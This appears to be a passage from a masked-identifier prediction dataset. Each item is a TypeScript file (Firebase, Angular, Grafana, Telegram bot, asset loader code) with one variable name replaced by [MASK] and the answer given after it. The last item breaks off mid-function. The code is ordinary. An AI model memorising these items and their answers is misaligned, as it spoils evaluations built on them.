export const updateGroup = async (groupId: string, name: string): Promise<void> => {
  try {
    const groupRef = doc(db, ""groups"", groupId);
    await updateDoc(groupRef, { name });
  } catch (error) {
    console.error(""Error updating group:"", error);
    throw error;
  }
};

// グループを削除
export const deleteGroup = async (groupId: string): Promise<void> => {
  try {
    const groupRef = doc(db, ""groups"", groupId);
    await deleteDoc(groupRef);
  } catch (error) {
    console.error(""Error deleting group:"", error);
    throw error;
  }
};

// スレッドと、そのスレッドに属するすべての投稿を取得する
export const getThreadWithPosts = async (threadId: string): Promise<{thread: ReportThread, rootPost: ReportPostWithChildren} | null> => {
  try {
    const [thread, rootPost] = await Promise.all([
      getThreadById(threadId),
      getPostsByThreadId(threadId),
    ]);

    if (!thread || !rootPost) {
      return null;
    }

    return { thread, rootPost };
  } catch (error) {
    console.error(""Error getting thread with posts:"", error);
    throw error;
  }
};

// すべてのスレッドと、それぞれのルート投稿を取得する
export const getThreadsWithRootPosts = async ( [MASK]  = 10): Promise<{thread: ReportThread, rootPost: ReportPostWithChildren}[]> => {
  try {
    // まずスレッドを取得
    const threadsQuery = query(
      collection(db, ""threads""),
      orderBy(""createdAt"", ""desc""),
      limit( [MASK] )
    );
    
    const threadsSnapshot = await getDocs(threadsQuery);
    
    if (threadsSnapshot.empty) {
      return [];
    }
    
    // 各スレッドに対応するルート投稿を取得
    const threadDataPromises = threadsSnapshot.docs.map(async (threadDoc) => {
      const threadData = threadDoc.data();
      const thread: ReportThread = {
        id: threadDoc.id,
        title: threadData.title,
        createdAt: (threadData.createdAt as Timestamp).toDate(),
        authorId: threadData.authorId,
        authorName: threadData.authorName,
        rootPostId: threadData.rootPostId,
        group: threadData.group || null,
        recipient: threadData.recipient || null
      };
      
      const rootPostId = threadData.rootPostId;
      
      // ルート投稿と返信を取得
      const rootPost = await getPostsByThreadId(threadDoc.id);
      
      if (!rootPost) {
        return null;
      }
      
      return { thread, rootPost };
    });
    
    const threadDataResults = await Promise.all(threadDataPromises);
    
    // nullの結果をフィルタリング
    return threadDataResults.filter((result): result is {thread: ReportThread, rootPost: ReportPostWithChildren} => 
      result !== null
    );
  } catch (error) {
    console.error(""Error getting threads with root posts:"", error);
    throw error;
  }
};",limitCount
48,"import { Component, OnInit, Injectable } from '@angular/core';
import { OhmIndexService } from '../ohm-index.service';
import {SelectionModel} from '@angular/cdk/collections';
import {FlatTreeControl} from '@angular/cdk/tree';
import {BehaviorSubject} from 'rxjs';
import {MatTreeFlatDataSource, MatTreeFlattener} from '@angular/material/tree';

export class TodoItemNode {
  children: TodoItemNode[];
  item: string;
}

/** Flat to-do item node with expandable and level information */
export class TodoItemFlatNode {
  item: string;
  level: number;
  expandable: boolean;
}

/**
 * Checklist database, it can build a tree structured Json object.
 * Each node in Json object represents a to-do item or a category.
 * If a node is a category, it has children items and new items can be added under the category.
 */
 @Injectable()
 export class ChecklistDatabase {
   dataChange = new BehaviorSubject<TodoItemNode[]>([]);
 
   get data(): TodoItemNode[] { return this.dataChange.value; }
 
   constructor() {
   }
 
   initialize(TREE_DATA: any) {
     // Build the tree nodes from Json object. The result is a list of `TodoItemNode` with nested
     //     file node as children.
     const data = this.buildFileTree(TREE_DATA, 0);
 
     // Notify the change.
     this.dataChange.next(data);
   }
 
   /**
    * Build the file structure tree. The `value` is the Json object, or a sub-tree of a Json object.
    * The return value is the list of `TodoItemNode`.
    */
   buildFileTree(obj: {[key: string]: any}, level: number): TodoItemNode[] {
     return Object.keys(obj).reduce<TodoItemNode[]>((accumulator, key) => {
       const value = obj[key];
       const node = new TodoItemNode();
       node.item = key;
 
       if (value != null) {
         if (typeof value === 'object') {
           node.children = this.buildFileTree(value, level + 1);
         } else {
           node.item = value;
         }
       }
 
       return accumulator.concat(node);
     }, []);
   }
 
   /** Add an item to to-do list */
   insertItem(parent: TodoItemNode, name: string) {
     if (parent.children) {
       parent.children.push({item: name} as TodoItemNode);
       this.dataChange.next(this.data);
     }
   }
 
   updateItem(node: TodoItemNode, name: string) {
     node.item = name;
     this.dataChange.next(this.data);
   }
 }

@Component({
  selector: 'app-index',
  templateUrl: './index.component.html',
  styleUrls: ['./index.component.scss'],
  providers: [ChecklistDatabase]
})
export class IndexComponent implements OnInit {

  /** Map from flat node to nested node. This helps us finding the nested node to be modified */
  flatNodeMap = new Map<TodoItemFlatNode, TodoItemNode>();

  /** Map from nested node to flattened node. This helps us to keep the same object for selection */
  nestedNodeMap = new Map<TodoItemNode, TodoItemFlatNode>();

  /** A selected parent node to be inserted */
  selectedParent: TodoItemFlatNode | null = null;


  public treeControl: FlatTreeControl<TodoItemFlatNode>;

  treeFlattener: MatTreeFlattener<TodoItemNode, TodoItemFlatNode>;

  dataSource: MatTreeFlatDataSource<TodoItemNode, TodoItemFlatNode>;

  /** The selection for checklist */
  checklistSelection = new SelectionModel<TodoItemFlatNode>(true /* multiple */);

  out;

  indices;

  selected = [];

  constructor(
    private ohm: OhmIndexService,
    private _database: ChecklistDatabase
  ) {
    this.treeFlattener = new MatTreeFlattener(this.transformer, this.getLevel,
      this.isExpandable, this.getChildren);
    this.treeControl = new FlatTreeControl<TodoItemFlatNode>(this.getLevel, this.isExpandable);
    this.dataSource = new MatTreeFlatDataSource(this.treeControl, this.treeFlattener);
      
    _database.dataChange.subscribe(data => {
      this.dataSource.data = data;
    });

    this.checklistSelection.changed.subscribe(data =>{
      this.selected.push(...data.added);
      data.removed.forEach(x=>{
        const c = this.selected.indexOf(x);
        if (c > -1){
          this.selected.splice(c,1);
        }
      })
    })
   }

  
  getLevel = (node: TodoItemFlatNode) => node.level;

  isExpandable = (node: TodoItemFlatNode) => node.expandable;

  getChildren = (node: TodoItemNode): TodoItemNode[] => node.children;

  hasChild = (_: number, _nodeData: TodoItemFlatNode) => _nodeData.expandable;

  hasNoContent = (_: number, _nodeData: TodoItemFlatNode) => _nodeData.item === '';

  spaceFilter = null;

  ngOnInit(): void {
    this.ohm.getIndices().subscribe(indices => {
      this.indices = indices;
      this.ohm.getIndex().subscribe((data: any) => {
        this.out = data;
      });
      this._database.initialize(this.indices.trees);
    })
  }

  get topics() {
    return Object.keys(this.indices.topics);
  }

  getIndex(y, t) {
    return this.out.filter(x=>{
      return (x['interval'][0] === y[0]) && (x['interval'][1] === y[1]) && (x['topic'] === t);
    })[0].available;
  }

  iconFor(t) {
    return this.ohm.iconFor(t);
  }

  getReference(t){
    return Object.keys(this.indices.topics[t])
  }

  getFound(y,t){
    return this.out.filter(x=>{
      return (x['interval'][0] === y[0]) && (x['interval'][1] === y[1]) && (x['topic'] === t);
    })[0].subs
  }

  buildFileTree(obj: {[key: string]: any}, level: number): TodoItemNode[] {
    return Object.keys(obj).reduce<TodoItemNode[]>((accumulator, key) => {
      const value = obj[key];
      const node = new TodoItemNode();
      node.item = key;

      if (value != null) {
        if (typeof value === 'object') {
          node.children = this.buildFileTree(value, level + 1);
        } else {
          node.item = value;
        }
      }

      return accumulator.concat(node);
    }, []);
  }

   /**
   * Transformer to convert nested node to flat node. Record the nodes in maps for later use.
   */
    transformer = (node: TodoItemNode, level: number) => {
      const existingNode = this.nestedNodeMap.get(node);
      const flatNode = existingNode && existingNode.item === node.item
          ? existingNode
          : new TodoItemFlatNode();
      flatNode.item = node.item;
      flatNode.level = level;
      flatNode.expandable = !!node.children?.length;
      this.flatNodeMap.set(flatNode, node);
      this.nestedNodeMap.set(node, flatNode);
      return flatNode;
    }
  
    /** Whether all the descendants of the node are selected. */
    descendantsAllSelected(node: TodoItemFlatNode): boolean {
      const descendants = this.treeControl.getDescendants(node);
      const descAllSelected = descendants.length > 0 && descendants.every(child => {
        return this.checklistSelection.isSelected(child);
      });
      return descAllSelected;
    }
  
    /** Whether part of the descendants are selected */
    descendantsPartiallySelected(node: TodoItemFlatNode): boolean {
      const descendants = this.treeControl.getDescendants(node);
      const result = descendants.some(child => this.checklistSelection.isSelected(child));
      return result && !this.descendantsAllSelected(node);
    }
  
    /** Toggle the to-do item selection. Select/deselect all the descendants node */
    todoItemSelectionToggle(node: TodoItemFlatNode): void {
      this.checklistSelection.toggle(node);
      const descendants = this.treeControl.getDescendants(node);
      this.checklistSelection.isSelected(node)
        ? this.checklistSelection.select(...descendants)
        : this.checklistSelection.deselect(...descendants);
  
      // Force update for the parent
      descendants.forEach(child => this.checklistSelection.isSelected(child));
      this.checkAllParentsSelection(node);
    }
  
    /** Toggle a leaf to-do item selection. Check all the parents to see if they changed */
    todoLeafItemSelectionToggle(node: TodoItemFlatNode): void {
      this.checklistSelection.toggle(node);
      this.checkAllParentsSelection(node);
    }
  
    /* Checks all the parents when a leaf node is selected/unselected */
    checkAllParentsSelection(node: TodoItemFlatNode): void {
      let parent: TodoItemFlatNode | null = this.getParentNode(node);
      while (parent) {
        this.checkRootNodeSelection(parent);
        parent = this.getParentNode(parent);
      }
    }
  
    /** Check root node checked state and change it accordingly */
    checkRootNodeSelection(node: TodoItemFlatNode): void {
      const nodeSelected = this.checklistSelection.isSelected(node);
      const descendants = this.treeControl.getDescendants(node);
      const descAllSelected = descendants.length > 0 && descendants.every(child => {
        return this.checklistSelection.isSelected(child);
      });
      if (nodeSelected && !descAllSelected) {
        this.checklistSelection.deselect(node);
      } else if (!nodeSelected && descAllSelected) {
        this.checklistSelection.select(node);
      }
    }
  
    /* Get the parent node of a node */
    getParentNode(node: TodoItemFlatNode): TodoItemFlatNode | null {
      const currentLevel = this.getLevel(node);
  
      if (currentLevel < 1) {
        return null;
      }
  
      const  [MASK]  = this.treeControl.dataNodes.indexOf(node) - 1;
  
      for (let i =  [MASK] ; i >= 0; i--) {
        const currentNode = this.treeControl.dataNodes[i];
  
        if (this.getLevel(currentNode) < currentLevel) {
          return currentNode;
        }
      }
      return null;
    }

    applySpaceFilter(){
      if(this.selected.length === 0 || this.selected.filter(x=> x.level===0).length === 1){
        this.spaceFilter = null;
      } else {
        this.spaceFilter = [this.selected.map(x=>x.item)];
      }
      console.log(this.spaceFilter);
      this.ohm.getIndex(this.spaceFilter).subscribe((data: any) => {
        this.out = data;
      });
    }

}

",startIndex
49,"import { BotBuilder, BotBuilderExt } from '@telefonica/bot-core';

import http = require('http');

export default [
    dialog
];

function dialog(session: BotBuilder.Session,  [MASK] : any, next: Function) {

  let groupEntity: BotBuilder.IEntity = BotBuilder.EntityRecognizer.findEntity( [MASK] .entities, 'laura.group');
  let entityName = groupEntity ? groupEntity.entity : '';

  http.get(`http://gsb.devel.e-paths.com/role/${encodeURIComponent(entityName)}`, (res) => {
    const statusCode = res.statusCode;
    const contentType = res.headers['content-type'];
    let error;

    if (statusCode !== 200) {
      error = new Error(`Request Failed.\nStatus Code: ${statusCode}`);
    } else if (!/^application\/json/.test(contentType)) {
      error = new Error(`Invalid content-type.\nExpected application/json but received ${contentType}`);
    }

    if (error) {
      console.log(error.message);
      res.resume();
      session.endDialog(error.message);
    }

    let rawData = '';
    res.on('data', (chunk) => rawData += chunk);
    res.on('end', () => {
      try {
        console.log(rawData)
        let employees: Employee[] = JSON.parse(rawData).data || [];
        console.log(employees);

        let choicesKeyboard = new BotBuilderExt.Keyboard(session).buttons(
          employees.map(employee =>
            BotBuilder.CardAction.imBack(
              session,
              session.gettext('suggestion.employee.head.value', employee.fullname.toLowerCase().replace(/\b\w/g, function(l: any) {return l.toUpperCase() })),
              employee.fullname)
              .image(employee.pic || 'https://the-pastry-box-project.net/assets/basiks/front/icons/github.png')
            )
          );

        let message = new BotBuilder.Message(session)
          .text(`Estos son los ${entityName} que hay en CDO`)
          .addAttachment(choicesKeyboard);

        let choices = employees.map(employee => employee.fullname);
        session.endDialog(message, choices);
      } catch (e) {
        console.log(e.message);
      }
    });
  }).on('error', (e) => {
    console.log(`Got error: ${e.message}`);
    session.endDialog(e.message);
  });
}

export class Employee {
  totalTeam: number;
  numOfChildren: number;
  fullname: string;
  pic: string;
  title: string;
  phone: string;
  email: string;
  location: string;
}
",args
50,"import type { UserFromGetMe } from ""grammy/types"";  // Types
import type { IJSONConfig } from ""./utilities/types.ts"";

import path from ""path"";                            // stdlib

import { Bot } from ""grammy"";                       // 3rd-party deps

import { ReadJson, CreateJsonFromDict } from ""./utilities/json.ts"";     // Utilities
import logging from ""./utilities/logging.ts"";
import HandleCommands from ""./utilities/commands.ts"";

// Init config path and read config file
let cfgPath: string;
let cfg: IJSONConfig;

// Functions
async function InitConfig(): Promise<boolean> {
    await logging.info(""Initializing config..."");

    cfgPath = path.resolve(__dirname, "".."", ""config.json"");
    cfg = await ReadJson(cfgPath);

    if (cfg === undefined) {
        // Base config.json keys
        cfg = {
            token: """",
            debug: false,
            prefix: """"
        };
    
        await CreateJsonFromDict(cfgPath, cfg);
    }

    if (cfg.debug) {
        await logging.info(""Starting in debug mode!"");
    }

    

    // Fail initializing if config keys don't exist
    const keys1 = Object.keys(cfg);
    const keys2 = Object.keys(cfg);
    const bAllKeysExist = keys1.every(key => keys2.includes(key));
    
    if (!bAllKeysExist) {
        await logging.error(""Missing key in config.json"");
        return false;
    }

    // Fail initializing config if token doesn't exist
    if (cfg.token == """" || cfg.prefix == """") {    // Note: !cfg.token check might be useless
        await logging.error(""Missing bot token or prefix in config file."");
        return false;
    }

    // After this, it's safe to read the file at any point
    return true;
}

async function OnStart( [MASK] : UserFromGetMe): Promise<void> {
    for (const msg of [
        ""Started bot!"",
        `Name: ${ [MASK] .first_name} | User: @${ [MASK] .username} | ID: ${ [MASK] .id}`
    ]) {
        await logging.info(msg);
    }
}

async function main(): Promise<void> {
    // Init bot
    const bCfgInitSuccess = await InitConfig();

    if (!bCfgInitSuccess) {
        return; // Don't run any further
    }

    const bot = new Bot(cfg.token);

    await HandleCommands(bot);
    await bot.init();

    await bot.start({ onStart: OnStart });

    return;
}

await main();
",botInfo
51,"import { graphql } from ""@octokit/graphql"";
import { map, of } from ""rxjs"";

const getEnv = () => {
  const organization = process.env.ORGANIZATION as string;
  const githubToken = process.env.GITHUB_TOKEN as string;
  const projectNumber = parseInt(process.env.PROJECT_NUMBER as string);
  const status = process.env.ITEM_FIELD_KEY as string;
  const closeStatus = process.env.ITEM_FIELD_VALUE;

  return {
    organization,
    status,
    githubToken,
    projectNumber,
    closeStatus,
  }
}
export type EnvSettings = ReturnType<typeof getEnv>;
export type GraphQL = typeof graphql;
export type Context = [EnvSettings, GraphQL]

const mergeGHGraphqlClient = map((env: EnvSettings): Context => {
  const  [MASK]  = graphql.defaults({
    headers: {
      authorization: `token ${env.githubToken}`,
    },
  });
  return [env,  [MASK] ]
})

export const contextObservable =  of(getEnv())
  .pipe(
    mergeGHGraphqlClient,
  )
",requestGraphql
52,"///<reference path=""../node_modules/grafana-sdk-mocks/app/headers/common.d.ts"" />

import _ from 'lodash';
import {WifiPlugQueryCtrl} from ""./query_ctrl"";

export default class WifiPlugDatasource {
  id: number;
  name: string;
  url: string;

  /** @ngInject */
  constructor(instanceSettings, private backendSrv, private templateSrv, private $q) {
    this.name = instanceSettings.name;
    this.id = instanceSettings.id;
    this.url = instanceSettings.url;
  }

  query(options) {
    let url = `${this.url}`;

    // trim dates
    let dateFrom = options.range.from.format('YYYY-MM-DDTHH:mm:ss');
    let dateTo = options.range.to.format('YYYY-MM-DDTHH:mm:ss');

    // build promises array
    let promises = {};

    for (let target of options.targets) {
      let targetComponents = target.target.split('@');
      let deviceUuid = targetComponents[0];
      let serviceUuid = targetComponents[1];

      if (targetComponents.length == 0 || (target.device_requirement == null || target.device_requirement == """"))
          continue;

      if (target.device_requirement == ""consumption"") {
        promises[`${target.target}#consumption`] = this.backendSrv.datasourceRequest({
            url: `${url}/wifiplug-v1.0/device/${deviceUuid}/service/${serviceUuid}/energy/consumption/historic?date_from=${dateFrom}Z&date_to=${dateTo}Z&grouping=hour`,
            method: 'GET',
            withCredentials: true
        }).then(response => {
            if (response.status === 200) {
              return {
                rows: response.data.map(d => {
                  return {
                      ""time"": Date.parse(d[""time""]),
                      ""value"": d[""kwh""] * 1000
                  };
                }),
                target: ""Consumption (WH)""
              }
            }
        });
      } else {
        let deviceRequirement = target.device_requirement;
        let targetStr = ""Power"";

        if (deviceRequirement == ""current"")
          targetStr = ""Current (A)"";
        else if (deviceRequirement == ""voltage"")
          targetStr = ""Voltage (V)"";

        ((a, b, c, e, f) => {
          promises[`${c}#${b}`] = this.backendSrv.datasourceRequest({
              url: `${url}/wifiplug-v1.0/device/${e}/service/${f}/energy/historic?date_from=${dateFrom}Z&date_to=${dateTo}Z&grouping=hour`,
              method: 'GET',
              withCredentials: true
              }).then(response => {
                  if (response.status === 200) {
                      return {
                          rows: response.data.map(d => {
                              return {
                                  ""time"": Date.parse(d[""time""]),
                                  ""value"": d[b]
                              };
                          }),
                          target: a
                      }
                  }
              });
        })(targetStr, deviceRequirement, target.target, deviceUuid, serviceUuid);
      }
    }

    // return promise
    return this.$q.all(promises).then(d => {
      let  [MASK]  = [];

      for(let key in d) {
         [MASK] .push({
          ""target"": d[key].target,
          ""datapoints"": d[key].rows.map(r => [r.value, r.time])
        });
      }

      return {
        data:  [MASK] 
      };
    });
  }

  annotationQuery(options) {
    throw new Error(""Annotation Support not implemented yet."");
  }

  metricFindQuery(query: string) {
    let url = `${this.url}`;

    return this.backendSrv.datasourceRequest({
        url: `${url}/wifiplug-v1.0/device`,
        method: 'GET',
        withCredentials: true
    }).then(response => {
        if (response.status === 200) {
          let kv = [];

          for (let device of response.data.devices) {
            // find energy service
            let energyServices = device.services
                .filter(s => s.type_uuid == ""e4b8c402-e3f8-4ba3-8593-8565664a18bf"");

            for(let energyService of energyServices) {
              if (energyServices.length > 1)
                kv.push({text: `${device.name} - ${energyService.caption}`, value: `${device.uuid}@${energyService.uuid}`});
              else
                kv.push({text: device.name, value: `${device.uuid}@${energyService.uuid}`});
            }
          }

          return kv;
        }
    });
  }

  testDatasource() {
    let url = `${this.url}`;

    return this.backendSrv.datasourceRequest({
        url: `${url}/wifiplug-v1.0/user`,
        method: 'GET',
        withCredentials: true
    }).then(response => {
      if (response.status === 200) {
        let user = response.data;
        return { status: ""success"", message: `Authenticated as ${user.username}`, title: ""Success"" };
      }
    });
  }
}
",results
53,"import { storageGet } from 'stores/storage';

const FORCE_WHITELABEL = process.env.NEXT_PUBLIC_WHITELABEL; // 'jeoi.tkngate.com' ||  'test.tkngate.com' ||  'tachyon.tkngate.com' ||  example: 'www.hobbycartelnft.com'
const FORCE_PERMISSION_CONTRIB = null;
const TPP = process.env.NEXT_PUBLIC_TPP_SERVER || `https://mgate.io`;

function getOverride(): string {
  const isBrowser = typeof window !== 'undefined';

  if (isBrowser) {
    var w = new URLSearchParams(window.location.search).get('whitelabel');
    if (!w) w = localStorage.getItem('whitelabel') || storageGet('whitelabel');
    if (w) localStorage.setItem('whitelabel', w);
  }
  const override = w || null;

  return override || FORCE_WHITELABEL || null;
}

// export function getRootProfile(host) {
//   if (!host) return null;
//   // if (!host.includes(""."")) return host; // already username

//   if (host.includes('.mintgate.io') && /^(app|www)/i.test(host) === false)
//     return host.split('.')[0];

//   if (process.env.NODE_ENV !== 'production' && host.includes('.localhost'))
//     return host.split('.')[0];

//   return null;
// }

export function isBrand(host) {
  if (getOverride()) return true;

  if (!host || host === 'app') return false;
  if (host === 'app.mintgate.io') return false;
  if (process.env.NODE_ENV !== 'production') {
    // if (host.includes("".localhost"")) return true;
    if (host.includes('app.localhost')) return false;
    if (host === 'localhost:3000' || host === 'localhost') return false;
  }
  return true;
}

export function getBrandURL(host: string): URL {
  if (!host) return null;
  // if (typeof window !== 'undefined') host = host || window.location.host;

  if (!isBrand(host)) return null;
  let url = new URL(`${TPP}/api/v2/brand/bydomain`); // users/
  let username = getOverride() || host; // getRootProfile(host) ||

  if (!username) return null;

  // ex: mintgate.mintclub.app = use mintclub as username
  // or ex: mintclub.mintgate.app => mintclub.app [0] = mintclub
  username = username.toLowerCase();
  url.searchParams.set('domain', username);

  return url;
}

export async function getBrand(host) {
  // ensure user is updated and whitelabel already fetched
  // ignore localhost and mintgate.io... only trigger for xxx.yyy.com (len 2)
  const  [MASK]  = getBrandURL(host)?.href;
  if (! [MASK] ) return null;

  const response = await fetch( [MASK] , {
    method: 'GET',
  })
    .then((x) => x.json())
    .catch((err) => {
      return null;
    });
  const data = response; // await response.json();
  if (!data) return null;

  if (data.brand && !data.brand?.brandname)
    data.brand.brandname = data.username;
  // data.host = host;
  data.origin = `https://${host}`;
  // cache[username] = data;
  // cacheSet(username, data);
  data.url =  [MASK] ;

  return data;
}

// let cache = {};
// function cacheSet<T>(domain: string, data: T): T {
//   cache[domain] = data;
//   return data;
// }

// function cacheget(domain) {
//   const isBrowser = typeof window !== 'undefined';
//   // only cache in browser
//   if (isBrowser && cache[domain]) return cache[domain];

//   // const isBrowser = typeof window !== ""undefined"";
//   // if(isBrowser) {
//   //   if(localStorage.getItem(domain)) return JSON.parse(localStorage.getItem(domain));
//   // }
//   return null;
// }
",urlStr
54,"import {
    exportToDirectory,
	importDirectory,
	cleanupSVG,
	runSVGO,
	deOptimisePaths,
	scaleSVG,
	resetSVGOrigin,
	removeFigmaClipPathFromSVG,
	convertSVGToMask,
} from '@iconify/tools';
import fs from ""node:fs/promises"";
import svgtofont from 'svgtofont';
import { createTTF } from 'svgtofont/lib/utils';
import path from ""node:path""

const start_char=33;

(async () => {
	// Import icons
	const iconSet = await importDirectory('src/svg', {
		prefix: 'ntchrono_fonts',
	});

	// Validate, clean up, fix palette and optimise
	let character = start_char;
	iconSet.forEach((name, type) => {
		if (type !== 'icon') {
			console.log(`${name} type: ${type}`);
//			return;
		}

		const svg = iconSet.toSVG(name);
		if (!svg) {
			// Invalid icon
			iconSet.remove(name);
			console.log(`${name} invalid`);
			return;
		}

		// Clean up and optimise icons
		try {
			// Clean up icon code
			cleanupSVG(svg);
			// Optimise
			runSVGO(svg,{
				keepShapes: true,
			});
			deOptimisePaths(svg);
			resetSVGOrigin(svg);
			console.log(`SVG ${name} ${svg.viewBox.width}x${svg.viewBox.height} -> 48x48`);
			scaleSVG(svg,48/svg.viewBox.width);
			removeFigmaClipPathFromSVG(svg);
			//
		} catch (err) {
			// Invalid icon
			console.error(`Error parsing ${name}:`, err);
			iconSet.remove(name);
			return;
		}

		// Update icon
		iconSet.fromSVG(name, svg);
		iconSet.toggleCharacter(name,String.fromCharCode(character++),true);
	});

	console.log(`Exported ${character-33} chars in map!`);


    // Export as IconifyJSON
   const  [MASK]  = JSON.stringify(iconSet.export(), null, '\t') + '\n';

   // Save to file
   await fs.mkdir(""dist/fonts"",{
    recursive: true
   });
   await fs.writeFile(`dist/fonts/${iconSet.prefix}.json`,  [MASK] , 'utf8');


   await exportToDirectory(iconSet, {
    target: `dist/fonts/${iconSet.prefix}`,
	cleanup: true,
	autoHeight: false,
	includeAliases: true,
	includeChars: false,
    log: false,
    });


	// Generated Iconset
	//console.log(iconSet.export());
   // TTF Generation




   svgtofont({
    src: path.resolve(process.cwd(),  `dist/fonts/${iconSet.prefix}/`), // svg path
    dist: path.resolve(process.cwd(), ""dist/fonts""), // output path
    //styleTemplates: path.resolve(rootPath, ""styles""), // file templates path (optional)
    fontName: iconSet.prefix, // font name
    css: false, // Create CSS files.
    startUnicode: start_char, // unicode start number 
    svgicons2svgfont: {
	  centerHorizontally: true,
	  centerVertically: true,
      fontHeight: 48,
	  descent: 20,
	  ascent: 48-10,
      normalize: true,
      usePathBounds: true,
      fixedWidth: true,
    }
  }).then(() => {
    console.log('done!');
  });

})();",exported
55,"import { Injectable } from '@angular/core';
import {HttpClient} from '@angular/common/http';
import {AlertifyService} from './alertify.service';
import {City} from '../models/city';
import {Router} from '@angular/router';
import { Observable } from 'rxjs';


@Injectable({
  providedIn: 'root'
})
export class CityService {

  constructor(private httpClient:HttpClient,
    private router:Router,
    private alertifyService:AlertifyService) { }

    path=""http://localhost:62902/api/"";

    getCities():Observable<City[]>{
      return this.httpClient.get<City[]>(this.path+""city"");
    }

    getCityById( [MASK] ):Observable<City>{
     return this.httpClient.get<City>(this.path+""city/""+ [MASK] );
    }

    add(city){
      this.httpClient.post(this.path+'city',city).subscribe(data=>{
        this.alertifyService.success(""City added"")
      });
    }

}
",cityId
56,"import { shallowRef } from 'vue';
import { openDB, IDBPDatabase } from 'idb';
import router from '../router';

interface AssetDB {
  assets: {
    key: string;
    value: Blob;
  };
}

// 资产列表配置
const ASSET_LIST = {
  sprite: [
    'ax.png', 'bearman.png', 'blackbear.png', 'candle0.png', 'candle1.png',
    'candle2.png', 'chas0.png', 'chas1.png', 'chas2.png', 'cloak.png',
    'coldeco.png', 'epitaph0.png', 'epitaph1.png', 'fish00.png', 'fish01.png',
    'flower0.png', 'flower1.png', 'gameover.png', 'gameover2.png', 'hell0.png',
    'hell1.png', 'hell2.png', 'iceflare.png', 'inn.png', 'kudou.png',
    'lighter.png', 'lucifer.png', 'memo.png', 'nazo00.png', 'noenemy.png',
    'self.png', 'selfclosed.png', 'shop.png', 'snow0.png', 'snow1.png',
    'snow2.png', 'snowdoll.png', 'snowman.png', 'snowman2.png', 'snowman3.png',
    'snowman4.png', 'snowwes.png', 'snowwes2.png', 'snowwes3.png', 'snowwes4.png',
    'title.png', 'warning.png', 'welcome.png', 'whitebear.png', 'whitebear2.png',
    'zereta.png'
  ],
  cg: [
    'black.bmp', 'dark00.bmp', 'dark01.bmp', 'dark02.bmp',
    'scene_colde00.bmp', 'scene_colde01.bmp', 'scene_engine.bmp',
    'scene_fire.bmp', 'scene_fireball.bmp', 'scene_fish.bmp',
    'scene_house00.bmp', 'scene_house01.bmp', 'scene_house02.bmp',
    'scene_house03.bmp', 'scene_kudou.bmp', 'scene_kudou02.bmp',
    'scene_self00.bmp', 'scene_self01.bmp', 'scene_self02.bmp',
    'scene_self03.bmp', 'scene_self04.bmp', 'scene_self05.bmp',
    'scene_self06.bmp', 'scene_self07.bmp', 'scene_self08.bmp',
    'scene_self09.bmp', 'scene_self10.bmp', 'scene_snowball.bmp',
    'scene_white.bmp'
  ],
  music: [
    'coldecot.mp3', 'fuleuden.mp3', 'haruyori.mp3', 'haumu.mp3',
    'macchi.mp3', 'simoyake.mp3', 'sironotuiku.mp3', 'thanatos.mp3',
    'yukimichi.mp3', 'yukio.mp3'
  ],
  sound: [
    'break.wav', 'bub.wav', 'dh.wav', 'dun.wav', 'duty.wav',
    'eat.wav', 'fire.wav', 'hyuun.wav', 'kin.wav', 'open.wav',
    'popon.wav', 'roar.wav', 'spell00.wav', 'spell01.wav', 'spell02.wav',
    'spell03.wav', 'spell04.wav', 'spell05.wav', 'spell06.wav', 'spell07.wav',
    'spell08.wav', 'spell09.wav', 'suka.wav', 'thathatha.wav', 'turn.wav',
    'up.wav', 'weak.wav', 'zurl.wav', 'step.wav'
  ],
  story: [
    'story00.txt', 'story01.txt', 'story02.txt', 'story03.txt',
    'story04.txt', 'story05.txt', 'story06.txt', 'story07.txt',
    'story08.txt', 'story09.txt', 'story10.txt', 'story_close.txt'
  ]
};

// 缓存已加载的资源
const assetCache = new Map<string, string>();

class AssetManager {
  private db: IDBPDatabase<AssetDB> | null = null;
  private totalAssets: number = 0;
  private loadedAssets: number = 0;
  private urlCache: Map<string, string> = new Map();
  private imageUrls: string[] = [];

  constructor() {
    this.totalAssets = Object.values(ASSET_LIST).reduce(
      (sum, files) => sum + files.length,
      0
    );
  }

  async init() {
    this.db = await openDB<AssetDB>('game-assets', 1, {
      upgrade(db) {
        db.createObjectStore('assets', { keyPath: 'key' });
      },
    });
  }

  async hasAssets(): Promise<boolean> {
    await this.ensureDB();
    const count = await this.db!.count('assets');
    return count === this.totalAssets;
  }

  private async ensureDB() {
    if (!this.db) {
      await this.init();
    }
  }

  async loadAllAssets(onProgress?: (current: number, total: number) => void) {
    await this.ensureDB();
    this.loadedAssets = 0;

    for (const [type, files] of Object.entries(ASSET_LIST)) {
      for (const file of files) {
        try {
          const key = `${type}/${file}`;
          const existing = await this.db!.get('assets', key);
          if (!existing) {
            const assetPath = `/assets/${type}/${file}`;
            const response = await fetch(assetPath);
            if (!response.ok) {
              throw new Error(`Failed to load ${key}`);
            }
            const blob = await response.blob();
            await this.db!.put('assets', {
              key,
              value: blob
            });
          }

          this.loadedAssets++;
          onProgress?.(this.loadedAssets, this.totalAssets);
        } catch (error) {
          console.error(`Error loading asset ${type}/${file}:`, error);
          throw error;
        }
      }
    }
  }

  async getAsset(path: string): Promise<Blob> {
    await this.ensureDB();
    const asset = await this.db!.get('assets', path);
    if (!asset) {
      await router.push('/loading');
      throw new Error(`Asset not found: ${path}`);
    }
    return asset.value;
  }

  /**
   * 获取资产的 URL
   * @param path 资产路径 (例如: 'sprite/snow0.png')
   * @returns 资产的 URL
   */
  async getAssetUrl(path: string): Promise<string> {
    // 检查缓存
    if (this.urlCache.has(path)) {
      return this.urlCache.get(path)!;
    }

    try {
      const blob = await this.getAsset(path);
      const url = URL.createObjectURL(blob);
      this.urlCache.set(path, url);
      return url;
    } catch (error) {
      console.error(`Failed to get asset URL for ${path}:`, error);
      // 不再直接返回fallback图片，而是让错误传播出去，触发重定向
      throw error;
    }
  }

  /**
   * 清理指定资产的 URL 缓存
   * @param path 资产路径
   */
  clearAssetUrl(path: string) {
    const url = this.urlCache.get(path);
    if (url) {
      URL.revokeObjectURL(url);
      this.urlCache.delete(path);
    }
  }

  /**
   * 清理所有 URL 缓存
   */
  clearAllAssetUrls() {
    this.urlCache.forEach(url => URL.revokeObjectURL(url));
    this.urlCache.clear();
  }

  /**
   * 组件使用的便捷方法
   * @param path 资产路径
   * @returns ref对象，包含资产URL
   */
  useAsset(path: string) {
    const url = shallowRef('');

    // 如果已经在缓存中，直接返回
    if (assetCache.has(path)) {
      url.value = assetCache.get(path)!;
      return url;
    }

